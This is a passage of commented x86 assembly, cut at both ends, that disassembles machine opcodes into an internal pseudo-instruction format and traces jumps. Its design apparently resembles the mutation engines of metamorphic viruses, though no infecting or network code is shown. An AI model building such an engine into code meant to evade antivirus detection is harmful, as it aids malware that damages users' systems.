cmp eax, 80h ; Reg,Imm or Mem,Imm?
jb @@SigueInstr_01
cmp eax, 83h
jbe @@GenericOpcode2
@@SigueInstr_01:
cmp eax, 84h ; TEST
jz @@Gen_8b_MemReg
cmp eax, 85h ; TEST
jz @@Gen_32b_MemReg
; cmp eax, 86h ; XCHG
; jz @@Gen_8b_MemReg
; cmp eax, 87h ; XCHG
; jz @@Gen_32b_MemReg
cmp eax, 8Bh ; MOV?
jbe @@GenericOpcode
cmp eax, 8Dh ; LEA
jz @@LEA
cmp eax, 8Fh ; POP Mem?
jz @@POPMem
cmp eax, 90h ; NOP?
jz @@NOP
; cmp eax, 97h ; Disabled instructions
; jbe @@XCHGWithEAX
; cmp eax, 0A0h
; jz @@MOVALMem
; cmp eax, 0A1h
; jz @@MOVEAXMem
; cmp eax, 0A2h
; jz @@MOVMemAL
; cmp eax, 0A3h
; jz @@MOVMemEAX
cmp eax, 0A8h ; TEST AL,xx?
jz @@TESTALValue
cmp eax, 0A9h ; TEST EAX,xx?
jz @@TESTEAXValue
cmp eax, 0B0h ; MOV Reg8,xx?
jb @@SigueInstr_02
cmp eax, 0B7h
jbe @@MOVReg8Value
cmp eax, 0BFh ; MOV Reg,xxx?
jbe @@MOVRegValue
@@SigueInstr_02:
cmp eax, 0C0h ; SHIFT,1? (ROL,ROR,etc. with 8 bits)
jz @@BitShifting8
cmp eax, 0C1h ; SHIFT,1 with 32 bits?
jz @@BitShifting32
cmp eax, 0C3h ; RET?
jz @@RET
cmp eax, 0C6h ; MOV Mem8,Imm?
jz @@MOVMem8Value
cmp eax, 0C7h ; MOV Mem,Imm?
jz @@MOVMem32Value
cmp eax, 0CDh
jz @@Interrupt
cmp eax, 0D0h ; SHIFT,x with 8 bits?
jz @@BitShifting8
cmp eax, 0D1h ; SHIFT,x with 32 bits?
jz @@BitShifting32
;; In this gap there are obsolete instructions, copro ones and
;; other that we aren't going to use (for the moment), so decode
;; them it's not worthy.
cmp eax, 0E8h ; CALL?
jz @@CALL
cmp eax, 0E9h ; Long JMP?
jz @@JMP
cmp eax, 0EBh ; Short JMP?
jz @@JMP8
cmp eax, 0F5h ; CMC?
jz @@NOP
cmp eax, 0F6h ; NOT and NEG?
jz @@SomeNotVeryCommon8
cmp eax, 0F7h
jz @@SomeNotVeryCommon32
cmp eax, 0FDh ; One-byters that have not been decoded
jbe @@NOP ; are set as NOP
cmp eax, 0FEh ; INC/DEC Mem8?
jz @@INCDECMem8
cmp eax, 0FFh ; INC/DEC/PUSH Mem?
jz @@INCDECPUSHMem32
mov eax, 0FFh ; Set NOP if any instruction hasn't
@@SetOneByteInstruction: ; fit the conditions above
mov [edi], eax
add edi, 10h ; Increase the storadge EIP and the
inc esi ; disassembly EIP by 1
@@ContinueDisassembly:
jmp @@LoopTrace ; Treat next instruction
;;;; GENERIC OPCODE
; This kind of construction is very common among the opcodes. This is the way
; Intel codes the instructions that uses the Reg,Reg, Mem,Reg and Reg,Mem
; operands. The operations coded under this ones are ADD, OR, ADC, SBB, AND,
; SUB, XOR and CMP.
@@GenericOpcode:
and eax, 7 ; Get the register
cmp eax, 3 ; Check the type of instruction. If it's
jbe @@Gen_NormalOpcode ; Mem,Reg, Reg,Mem or Reg,Reg, jump.
cmp eax, 4 ; Check if it's an OP with AL
jz @@Gen_UsingAL
cmp eax, 5 ; Check if it's an OP with EAX
jz @@Gen_UsingEAX
mov eax, [esi] ; Check if the opcode is 0F, the opcode
and eax, 0FFh ; that is used for some extended operations
cmp eax, 0Fh
jz @@Opcode0F
jmp @@SetOneByteInstruction ; Set the instruction.
@@Gen_NormalOpcode:
or eax, eax ; Check Mem8,Reg8
jz @@Gen_8b_MemReg
cmp eax, 1 ; Check Mem,Reg
jz @@Gen_32b_MemReg
cmp eax, 2 ; Check Reg8,Mem8
jz @@Gen_8b_RegMem
@@Gen_32b_RegMem:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h ; Check Reg,Reg
jz @@Gen_32b_ReglReg
mov eax, [esi]
and eax, 0FFh
cmp eax, 8Bh ; Get the opcode
jnz @@Gen_32b_RegMem_0 ; If it isn't MOV, jump
mov eax, 40h+2 ; Set MOV Reg,Mem
jmp @@Gen_GenMem ; Jump to decode the instruction
@@Gen_32b_RegMem_0:
and eax, 38h ; Get the operation in pseudo-asm
add eax, 2 ; Set the "Reg,Mem" mode
@@Gen_GenMem:
mov edx, [edi] ; Get the data around the pseudoopcode
and edx, 0FFFFFF00h ; Set the opcode
and eax, 0FFh
add eax, edx
mov [edi], eax
mov eax, [esi+1] ; Get the data of the x86 opcode
and eax, 38h ; Get the register involved
shr eax, 3
mov [edi+7], eax ; Store it at +7 in the pseudo-instr.
mov edx, esi ; Set in EDX the offset of the memory
add edx, 1 ; construction
call DecodeMemoryConstruction ; Decode it
add esi, ebx ; Add the length of the memory field
add esi, 1 ; to ESI
jmp @@NextInstruction
@@Gen_32b_MemReg:
mov eax, [esi+1] ; Get the second opcode
and eax, 0C0h ; Check if it's Reg,Reg operation
cmp eax, 0C0h
jz @@Gen_32b_lRegReg ; If it is, jump to decode it
mov eax, [esi]
and eax, 0FFh ; Get the opcode
cmp eax, 85h ; Check if it's TEST
jnz @@Gen_32b_MemReg_0
mov eax, 48h+3 ; If it is, store a TEST opcode
jmp @@Gen_GenMem
@@Gen_32b_MemReg_0:
; cmp eax, 87h ; This is XCHG, but we aren't using
; jnz @@Gen_32b_MemReg_1 ; it, so it's disabled.
; mov eax, 48h+6
; jmp @@Gen_GenMem
@@Gen_32b_MemReg_1:
cmp eax, 89h ; Check if it's MOV Mem,Reg
jnz @@Gen_32b_MemReg_2
mov eax, 40h+3 ; Set MOV Mem,Reg if it is
jmp @@Gen_GenMem
@@Gen_32b_MemReg_2:
and eax, 38h ; Get the pseudoopcode
add eax, 3
jmp @@Gen_GenMem ; Jump to set it and decode the rest
@@Gen_32b_ReglReg:
call GenOp_SetRegReg ; Decode the Reg,Reg instruction
@@Gen_GenReglReg:
mov eax, [esi+1] ; Get the source register
and eax, 7
mov [edi+1], eax ; Set it on the disassembly
mov eax, [esi+1] ; Get the destiny register and set it
and eax, 38h
shr eax, 3
mov [edi+7], eax
add esi, 2
jmp @@NextInstruction
@@Gen_32b_lRegReg:
call GenOp_SetRegReg ; Decode the Reg,Reg instruction
@@Gen_GenlRegReg:
mov eax, [esi+1] ; Get the registers and store them in
and eax, 7 ; their appropiated fields
mov [edi+7], eax
mov eax, [esi+1]
and eax, 38h
shr eax, 3
mov [edi+1], eax
add esi, 2
jmp @@NextInstruction
@@Gen_8b_RegMem:
mov eax, [esi+1] ; Get the OP Reg,Mem
and eax, 0C0h
cmp eax, 0C0h ; Check first if it's OP Reg,Reg
jz @@Gen_8b_ReglReg ; If it is, jump
mov eax, [esi]
and eax, 0FFh
cmp eax, 8Ah ; MOV Reg8,Mem8?
jnz @@Gen_8b_RegMem_0
mov eax, 40h+82h ; Set MOV Reg8,Mem8
jmp @@Gen_GenMem ; Jump to decode the memory address
@@Gen_8b_RegMem_0:
and eax, 38h
add eax, 82h ; Get the operation and set it
jmp @@Gen_GenMem
@@Gen_8b_MemReg:
mov eax, [esi+1] ; Get the operation
and eax, 0C0h ; Check if it's OP Mem,Reg
cmp eax, 0C0h
jz @@Gen_8b_lRegReg ; If it is, jump
mov eax, [esi]
and eax, 0FFh ; Get the opcode
cmp eax, 84h ; If it's TEST...
jnz @@Gen_8b_MemReg_0
mov eax, 48h+83h ; ...set it
jmp @@Gen_GenMem
@@Gen_8b_MemReg_0:
; cmp eax, 86h ; This is XCHG 8 bits, but it's disabled
; jnz @@Gen_8b_MemReg_1 ; because we don't use this type of
; mov eax, 48h+86h ; instructions
; jmp @@Gen_GenMem
@@Gen_8b_MemReg_1:
cmp eax, 88h ; Check if it's MOV Mem,Reg
jnz @@Gen_8b_MemReg_2
mov eax, 40h+83h ; Set it if it's MOV Mem,Reg
jmp @@Gen_GenMem
@@Gen_8b_MemReg_2:
and eax, 38h ; Get the OP
add eax, 83h
jmp @@Gen_GenMem ; Set it and jump to decode the memory
; reference
@@Gen_8b_lRegReg:
call GenOp_SetRegReg ; Decode the OP Reg8,Reg8 opcode
mov eax, [edi] ; Set the 8 bits operation
add eax, 80h
mov [edi], eax
jmp @@Gen_GenlRegReg ; Decode the rest of the instruction
@@Gen_8b_ReglReg:
call GenOp_SetRegReg ; Decode the OP Reg8,Reg8
mov eax, [edi] ; Set 8 bits instruction
add eax, 80h
mov [edi], eax
jmp @@Gen_GenReglReg ; Decode the rest of the instruction
@@Gen_UsingAL:
mov eax, [esi] ; Get the operation
and eax, 38h
add eax, 80h
mov edx, [edi] ; Set the opcode
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
xor eax, eax
mov eax, [esi+1] ; Get the Imm
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@Gen_UsingAL_01
add eax, 0FFFFFF00h
@@Gen_UsingAL_01:
add esi, 2 ; Increase EIP and set the value
jmp @@Gen_SetValue
@@Gen_UsingEAX:
mov eax, [esi] ; Get the instruction
and eax, 38h
mov edx, [edi] ; Set the opcode
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
mov eax, [esi+1] ; Set the value
add esi, 5
@@Gen_SetValue:
mov [edi+7], eax
xor eax, eax ; Set the register (EAX)
mov [edi+1], eax
jmp @@NextInstruction
;;;; INC Reg
@@Op_INC: and eax, 7 ; Get the register of the INC
mov [edi+1], eax ; Set it
xor eax, eax ; Pseudoopcode (ADD)
jmp @@Op_GenINCDEC
;;;; DEC Reg
@@Op_DEC: and eax, 7 ; Get the register of the DEC
mov [edi+1], eax ; Set it
mov eax, 28h ; Pseudoopcode (SUB)
@@Op_GenINCDEC:
mov edx, [edi] ; Set the pseudoopcode
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
mov [edi], eax
mov eax, 1 ; Set the value of addition/subtraction
mov [edi+7], eax
add esi, 1 ; Increase the EIP
jmp @@NextInstruction
;;;; PUSH Reg & POP Reg
@@Op_PUSHPOP: and eax, 7 ; Get the register of the opcode
mov [edi+1], eax ; Set it
mov eax, [esi]
and eax, 58h ; Get the instruction (PUSH or POP)
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax ; Set it
add esi, 1
jmp @@NextInstruction
;;;; PUSH Value
@@Op_PUSHValue:
mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Get the value
mov [edi+7], eax
add esi, 5 ; Add the length of the instr. to the EIP
jmp @@NextInstruction
;;;; PUSH SignedValue
@@Op_PUSHSignedValue:
mov eax, 68h ; Set the opcode 68h
mov [edi], eax
mov eax, [esi+1] ; Get the value to PUSH
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@Op_PUSHSignedValue_01
add eax, 0FFFFFF00h
;movsx eax, byte ptr [esi+1]
@@Op_PUSHSignedValue_01:
mov [edi+7], eax ; Set the value
add esi, 2 ; Increase the EIP
jmp @@NextInstruction
;;;; GENERIC OPCODE (2nd part)
;; This opcodes are the 80h-83h ones, which are used for "OP [Mem],Value" or
;; "OP Reg,Value". Moreover, opcodes 84-85 are also decoded here (the ones that
;; make TEST).
@@GenericOpcode2:
and eax, 1 ; Get if it's a 8 bits or 32 bits operation
or eax, eax
jz @@Gen2_8b ; Jump if it's 8 bits
@@Gen2_32b:
mov eax, [esi+1] ; Get the operation performed
and eax, 38h
mov edx, [edi] ; Set it as pseudoopcode
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
mov eax, [esi]
and eax, 2 ; Get if the operation uses a DWORD or
or eax, eax ; a sign-extended byte
jnz @@Gen2_Gen_Signed
@@Gen32Value:
mov eax, [esi+1] ; Get it we use Reg,Reg
and eax, 0C0h
cmp eax, 0C0h
jz @@Gen2_32b_Register
mov eax, [edi] ; Get the opcode
add eax, 4 ; Set OP Mem,Imm
mov [edi], eax
mov edx, esi ; Decode the memory construction
add edx, 1
call DecodeMemoryConstruction
add esi, ebx ; Add the length of the rest of the
mov eax, [esi+1] ; instruction to get the value OPed
sub esi, ebx ; Subtract it because later we'll add
add esi, 3 ; it again.
jmp @@Gen2_Gen_Memory
@@Gen2_32b_Register:
mov eax, [esi+2] ; Get the value
mov [edi+7], eax ; Set it
mov eax, [esi+1] ; Get the operation opcode
add esi, 6 ; Add the length of the instruction
jmp @@Gen2_Gen_Register
@@Gen2_8b:
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 38h ; Extract the operation and set it as
add eax, 80h ; a 8 bits pseudooperation.
mov edx, [edi] ; Set it
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
@@Gen2_Gen_Signed:
@@Gen8Value:
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 0C0h
cmp eax, 0C0h ; If we use a register, jump
jz @@Gen2_8b_Register
mov eax, [edi] ; Set "Mem" usage
add eax, 4
mov [edi], eax
mov edx, esi ; Decode the memory address
add edx, 1
call DecodeMemoryConstruction
xor eax, eax ; Get the Imm of the operation in EAX
add esi, ebx
mov eax, [esi+1]
sub esi, ebx
and eax, 0FFh
cmp eax, 7Fh
jbe @@Gen8Value_01
add eax, 0FFFFFF00h
@@Gen8Value_01:
@@Gen2_Gen_Memory:
mov [edi+7], eax ; Set it in the pseudoinstruction
add esi, ebx
add esi, 2 ; Increase EIP and decode the next
jmp @@NextInstruction ; instruction.
@@Gen2_8b_Register:
mov eax, [esi+2] ; Get the Imm and extend the sign
and eax, 0FFh
cmp eax, 7Fh
jbe @@Gen2_8b_Register_01
add eax, 0FFFFFF00h
@@Gen2_8b_Register_01:
mov [edi+7], eax ; Set it in the pseudo-instruction
mov eax, [esi+1] ; Get the 2nd opcode
add esi, 3 ; Add the length of the instruction
@@Gen2_Gen_Register: ; to EIP
and eax, 7 ; Get the register of the instruction
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax ; Set the register
jmp @@NextInstruction ; Decode the next instruction
;;;; LEA decoding
@@LEA: mov eax, 0FCh ; Set the pseudoopcode of LEA
mov [edi], eax
mov edx, esi
add edx, 1 ; Decode the memory address
call DecodeMemoryConstruction
mov eax, [esi+1]
and eax, 38h ; Get the destiny register and set it
shr eax, 3
mov [edi+7], eax
add esi, ebx
add esi, 1 ; Add the length of the instruction to
jmp @@NextInstruction ; the EIP.
;;;; POP Mem decoding
@@POPMem: mov eax, [esi+1] ; Get the operand
and eax, 0C0h ; Get if we use reg or memory address
cmp eax, 0C0h
jz @@POPMem_butReg
mov eax, 59h ; If we use a memory address, set the
mov [edi], eax ; opcode and decode the memory address
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
jmp @@NextInstruction
@@POPMem_butReg: ; If it uses a register, set it
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax
mov eax, 58h ; Set the opcode
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
add esi, 2
jmp @@NextInstruction
;;;; XCHG With EAX:
;; Disabled since we aren't coding XCHG
; @@XCHGWithEAX:
; mov al, [esi]
; add esi, 1
; cmp eax, 90h
; jz @@NOP
; and eax, 7
; mov [edi+1], al
; mov eax, 48h+5
; mov [edi], al
; xor eax, eax
; mov [edi+7], eax
; jmp @@NextInstruction
;; NOP instruction
@@NOP: mov eax, 0FFh ; Set the NOP pseudoopcode
mov [edi], eax
add esi, 1
jmp @@NextInstruction
;;;; MOV AL/EAX,Mem
; This one is also disabled, because we doesn't have direct memory operations
; to disassemble.
; @@MOVALMem:
; mov eax, 0C2h
; @@MOVxAxMem:
; mov [edi], eax
; mov eax, 8
; mov [edi+1], eax
; mov [edi+2], eax
; xor eax, eax
; mov [edi+7], eax
; mov eax, [esi+1]
; mov [edi+3], eax
; add esi, 5
; jmp @@NextInstruction
; @@MOVEAXMem:
; mov eax, 42h
; jmp @@MOVxAxMem
;;;; MOV Mem,AL/EAX
; @@MOVMemAL:
; mov eax, 0C3h
; jmp @@MOVxAxMem
; @@MOVMemEAX:
; mov eax, 43h
; jmp @@MOVxAxMem
;;;; TEST AL,Value decodification
@@TESTALValue:
mov eax, [esi+1] ; Get the value
and eax, 0FFh
mov ecx, eax ; Put it in ECX
mov eax, 0C8h ; Put the pseudoopcode in EAX
add esi, 2
@@TESTxAxValue:
mov [edi], eax ; Set the pseudoopcode
xor eax, eax ; Set the register
mov [edi+1], eax
mov [edi+7], ecx ; Set the value
jmp @@NextInstruction
;;;; TEST EAX,Value
@@TESTEAXValue:
mov ecx, [esi+1] ; Get the Imm in ECX
mov eax, 48h ; 48h = TEST pseudoopcode
add esi, 5 ; Increase the EIP
jmp @@TESTxAxValue
;;;; MOV Reg,Value decodification
@@MOVRegValue:
mov eax, 40h ; 40h = MOV pseudoopcode
mov [edi], eax
mov ecx, [esi+1] ; Get the value in ECX
mov eax, [esi]
add esi, 5
@@MOVRegValue_Common:
and eax, 7 ; Get the register in EAX
mov [edi+1], eax ; Set the register
mov [edi+7], ecx ; Set the value
jmp @@NextInstruction
@@MOVReg8Value:
mov eax, 0C0h
mov [edi], eax ; C0 = MOV 8 bits
mov eax, [esi+1] ; Get the Imm to move
and eax, 0FFh
mov ecx, eax
mov eax, [esi] ; Get the opcode to extract the register
add esi, 2
jmp @@MOVRegValue_Common
;;;; ROL/ROR/etc. decodification
@@BitShifting32:
mov eax, 0F0h ; Pseudoopcode SHIFT
@@BitShifting_Common:
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 38h ; Extract the operation
mov edx, [edi+8] ; Set it at +8 in the instruction
and edx, 0FFFFFF00h
add eax, edx
mov [edi+8], eax
mov eax, [esi+1] ; Get the operand type
and eax, 0C0h
cmp eax, 0C0h
jz @@BS32_Reg ; If it's a Reg, jump
mov eax, [edi]
add eax, 1
mov [edi], eax ; Set SHIFT Mem,x
mov edx, esi
add edx, 1 ; Decode the memory operand
call DecodeMemoryConstruction
@@BS32_Common:
mov eax, [esi] ; Get the opcode
and eax, 0FFh
cmp eax, 0D0h ; Check if it's SHIFT,1 or SHIFT,x
jb @@BS32_GetNumber ; If it's ,x jump
mov eax, 1 ; Set 1 as shifting value
sub esi, 1
jmp @@BS32_SetNumber
@@BS32_GetNumber:
add esi, ebx ; Get the value of shifting
mov eax, [esi+1]
sub esi, ebx
@@BS32_SetNumber:
and eax, 1Fh ; Trim the bits ignored implicitly
mov edx, [edi+7] ; Set the shifting value (byte) at +7
and edx, 0FFFFFF00h ; in the disassembly of the instr.
add eax, edx
mov [edi+7], eax
add esi, ebx
add esi, 2
jmp @@NextInstruction
@@BS32_Reg:
mov eax, [esi+1] ; Get the register
and eax, 7
mov [edi+1], eax ; Set it
mov ebx, 1 ; Jump to finish the decoding
jmp @@BS32_Common
@@BitShifting8:
mov eax, 0F2h ; Set SHIFT8
jmp @@BitShifting_Common
;;;; MOV [Mem8],Value (or MOV Reg8,Value) decoding (opcode C6)
@@MOVMem8Value:
mov eax, 0C4h ; Set the opcode as MOV Mem8,xxx
mov [edi], eax
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 0C0h ; Register or memory address?
cmp eax, 0C0h
jz @@MOVMem8_RegValue ; If register, jump
mov edx, esi
add edx, 1 ; Decode the memory address
call DecodeMemoryConstruction
add esi, ebx ; Add the length of the operand
add esi, 1
@@MOVMem8Value_Common:
mov eax, [esi] ; Get the value we are moving
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@MOVMem8Value_01
add eax, 0FFFFFF00h
@@MOVMem8Value_01:
mov [edi+7], eax ; Set it in the pseudoinstruction
add esi, 1
jmp @@NextInstruction
@@MOVMem8_RegValue:
mov eax, 0C0h ; C0 = MOV Reg8,Imm
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax ; Set the register
add esi, 2
jmp @@MOVMem8Value_Common ; Jump to finish the decoding
;;;; MOV [Mem32],Value (or MOV Reg32,Value) decoding (opcode C7)
@@MOVMem32Value:
mov eax, 44h ; 44h = MOV Mem,Imm (in our assembler)
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 0C0h
cmp eax, 0C0h ; Memory address or register?
jz @@MOVMem32_RegValue ; Jump if it's register
mov edx, esi
add edx, 1 ; Decode the memory address
call DecodeMemoryConstruction
add esi, ebx ; Add the operand length
add esi, 1
mov eax, [esi] ; Get the Imm to move
mov [edi+7], eax ; Set it in the disassembly
add esi, 4 ; Increase the EIP
jmp @@NextInstruction
@@MOVMem32_RegValue:
mov eax, 40h ; 40h = MOV Reg32,Imm32
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax ; Get the register and set it
mov eax, [esi+2] ; Get the immediate value and set it
mov [edi+7], eax
add esi, 6 ; Add the instruction length to the EIP
jmp @@NextInstruction
;;;; Some not very common instructions
;; Opcodes F6 and F7 are used for TEST, NOT, NEG, MUL, IMUL, DIV and IDIV.
;; Since MUL and up aren't used by us, we only decode TEST, NOT and NEG.
@@SomeNotVeryCommon8:
mov eax, [esi+1] ; Get the operation
and eax, 38h
or eax, eax ; 0 is TEST
jz @@TEST8Value
shr eax, 1 ; If it's not TEST, it is NOT or NEG
add eax, 0DAh ; EAX = E2/E6
@@SNVC_Gen: mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Check if we use register or memory
and eax, 0C0h
cmp eax, 0C0h
jz @@NOTNEGReg8 ; If register, jump
mov eax, [edi] ; Set memory usage
add eax, 1
mov [edi], eax
mov edx, esi ; Decode the memory address operand
add edx, 1
call DecodeMemoryConstruction
add esi, ebx ; Add the length of the operand
add esi, 1
jmp @@NextInstruction
@@NOTNEGReg8:
mov eax, [esi+1] ; Get the register involved
and eax, 7
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax ; Set it
add esi, 2 ; Increase the EIP
jmp @@NextInstruction
@@SomeNotVeryCommon32:
mov eax, [esi+1] ; Get the operation
and eax, 38h
or eax, eax ; If it's TEST, jump to disasm it
jz @@TEST32Value
shr eax, 1
add eax, 0D8h ; E0/E4
jmp @@SNVC_Gen ; Jump to decode the rest of the instr.
@@TEST8Value:
mov eax, 0C8h ; Set TEST 8 bits opcode
mov [edi], eax
jmp @@Gen8Value ; Jump to decode the rest
@@TEST32Value:
mov eax, 48h ; Set TEST 32 bits opcope
mov [edi], eax
jmp @@Gen32Value ; Jump to decode the rest
;;;; INC Mem, DEC Mem, CALL Mem, JMP Mem & PUSH Mem disassembly
@@INCDECMem8:
mov eax, [esi+1] ; Get the operation
and eax, 38h
or eax, eax ; INC?
jz @@INCMem8 ; Then, jump
@@DECMem8: mov eax, 0ACh ; ACh = Opcode of SUB Mem8,Imm8
@@INCDECMem8_Next:
mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Get the type of operand
and eax, 0C0h
cmp eax, 0C0h ; If we use a register operand, jump
jz @@INCDECReg8
@@INCDECPUSH_Gen:
mov edx, esi ; Here if we use INC/DEC/PUSH Mem
add edx, 1 ; Decode the memory operand
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
mov eax, 1 ; We insert a 1 as a Imm even if it's
mov [edi+7], eax ; PUSH, JMP or CALL, since we will
; ignore this field for them
mov eax, [edi]
and eax, 0FFh
cmp eax, 0EBh ; Did we decode JMP DWORD PTR [xxx]?
jnz @@NextInstruction ; Then, get a new EIP (treat it as
; a RET)
add edi, 10h ; Increase the storadge EIP and get a
jmp @@GetEIPFromFutureLabelList ; new disassembly EIP (ESI)
@@INCDECReg8:
mov eax, [edi] ; Get the opcode
sub eax, 4 ; Convert it to OP Reg
mov [edi], eax
mov eax, [esi+1] ; Get the register
and eax, 7
mov [edi+1], eax ; Set it in the instruction
mov eax, 1 ; Set "1" value for addition and
mov [edi+7], eax ; subtraction
add esi, 2
jmp @@NextInstruction
@@INCMem8: mov eax, 84h ; Set ADD Mem8,Imm8
jmp @@INCDECMem8_Next
;; Opcode FF: INC Mem, DEC Mem, CALL Mem, JMP Mem and PUSH Mem (32 bits)
@@INCDECPUSHMem32:
mov eax, [esi+1] ; Get the operand type
and eax, 38h
or eax, eax ; INC?
jz @@INCMem32
cmp eax, 08h ; DEC?
jz @@DECMem32
cmp eax, 10h ; CALL?
jz @@CALLMem32
cmp eax, 20h ; JMP?
jz @@JMPMem32
@@PUSHMem32:
mov eax, [esi+1] ; Decode PUSH. Look if it uses a reg.
and eax, 0C0h ; or a memory address
cmp eax, 0C0h
jz @@PUSHMem32_Reg
mov eax, 51h ; EAX = 51h, pseudoopcode of PUSH Mem
mov [edi], eax
jmp @@INCDECPUSH_Gen
@@PUSHMem32_Reg:
mov eax, 50h ; 50h = Opcode of PUSH Reg
@@INCDECPUSH_GenMem32_Reg:
mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Get the operand register
and eax, 7
mov [edi+1], eax
mov eax, 1 ; Set "1" as immediate value (for INCs
mov [edi+7], eax ; and DECs, and ignored for the others)
add esi, 2
mov eax, [edi] ; Get the opcopde
and eax, 0FFh
cmp eax, 0EDh ; Did we decode JMP Reg?
jnz @@NextInstruction
add edi, 10h ; If so, treat it as a RET
jmp @@GetEIPFromFutureLabelList
;; Here if we decoded INC
@@INCMem32:
mov eax, [esi+1] ; Get the opcode
and eax, 0C0h ; Check if it uses a register or a
cmp eax, 0C0h ; memory address as operand
jz @@INCReg32
mov eax, 4 ; If Mem, set ADD Mem,Imm
jmp @@INCDECMem8_Next
@@INCReg32:
xor eax, eax ; If Reg, set ADD Reg,Imm
jmp @@INCDECPUSH_GenMem32_Reg
;; Here if we decoded DEC
@@DECMem32:
mov eax, [esi+1] ; Get if it uses a memory address or
and eax,